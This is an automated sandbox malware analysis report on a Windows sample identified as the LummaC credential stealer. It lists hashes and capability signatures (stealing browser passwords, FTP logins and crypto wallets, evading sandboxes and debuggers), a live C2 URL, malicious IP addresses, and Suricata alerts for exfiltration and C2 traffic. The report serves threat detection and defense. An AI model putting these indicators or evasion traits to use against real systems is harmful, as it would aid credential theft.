Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1565982
MD5:	fb259c5ebc086a3062f5f3dd9e2955ac
SHA1:	14a87eb04c4339f770d55b7f64e0728c87c7b840
SHA256:	3af486387a0869f29281558b0d919337c181c10999865d3db09fae595b45f9c1
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7408 cmdline: "C:\Users\user\Desktop\file.exe" MD5: FB259C5EBC086A3062F5F3DD9E2955AC)

chrome.exe (PID: 6936 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 344 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2124 --field-trial-handle=1944,i,15678705187657892955,17844764496678976098,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 4136 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 3916 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2120 --field-trial-handle=1928,i,17398790498450911145,18130191618194724577,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Malware Configuration

Threatname: LummaC

{"C2 url": "https://atten-supporse.biz:443/api", "Build Version": "LOGS11--LiveTraffi"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1500790894.000000000140F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7408	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 7408	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7408	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 7408	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-01T03:32:18.756115+0100	2028371	3	Unknown Traffic	192.168.2.7	49703	172.67.165.166	443	TCP
2024-12-01T03:32:22.535089+0100	2028371	3	Unknown Traffic	192.168.2.7	49705	172.67.165.166	443	TCP
2024-12-01T03:32:25.451828+0100	2028371	3	Unknown Traffic	192.168.2.7	49711	172.67.165.166	443	TCP
2024-12-01T03:32:29.515864+0100	2028371	3	Unknown Traffic	192.168.2.7	49720	172.67.165.166	443	TCP
2024-12-01T03:32:33.744132+0100	2028371	3	Unknown Traffic	192.168.2.7	49732	172.67.165.166	443	TCP
2024-12-01T03:32:39.015096+0100	2028371	3	Unknown Traffic	192.168.2.7	49747	172.67.165.166	443	TCP
2024-12-01T03:32:43.832728+0100	2028371	3	Unknown Traffic	192.168.2.7	49757	172.67.165.166	443	TCP
2024-12-01T03:32:50.813597+0100	2028371	3	Unknown Traffic	192.168.2.7	49774	172.67.165.166	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-01T03:32:21.164644+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49703	172.67.165.166	443	TCP
2024-12-01T03:32:23.874910+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49705	172.67.165.166	443	TCP
2024-12-01T03:32:52.475687+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49774	172.67.165.166	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-01T03:32:21.164644+0100	2049836	1	A Network Trojan was detected	192.168.2.7	49703	172.67.165.166	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-01T03:32:23.874910+0100	2049812	1	A Network Trojan was detected	192.168.2.7	49705	172.67.165.166	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-01T03:32:53.987141+0100	2019714	2	Potentially Bad Traffic	192.168.2.7	49783	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-01T03:32:42.069728+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	49747	172.67.165.166	443	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-01T03:32:43.857378+0100	2843864	1	A Network Trojan was detected	192.168.2.7	49757	172.67.165.166	443	TCP

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: file.exe, 00000000.00000003.1722221873.00000000086E0000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1784938508.0000000006782000.00000040.00000800.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:49705 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49705 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:49747 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49703 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49703 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49774 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.7:49757 -> 172.67.165.166:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://atten-supporse.biz:443/api

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 01 Dec 2024 02:32:53 GMTContent-Type: application/octet-streamContent-Length: 2871296Last-Modified: Sun, 01 Dec 2024 02:25:31 GMTConnection: keep-aliveETag: "674bc91b-2bd000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2c 00 00 04 00 00 76 8b 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 64 64 72 76 70 6b 67 76 00 80 2b 00 00 a0 00 00 00 6e 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 70 62 69 61 66 79 70 00 20 00 00 00 20 2c 00 00 06 00 00 00 a8 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 40 2c 00 00 22 00 00 00 ae 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 13.107.246.63 13.107.246.63
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49703 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49711 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49720 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49705 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49732 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49774 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49757 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49747 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.7:49783 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=7BHvlzT3bUKzeVl&MD=fdcx8Vnk HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
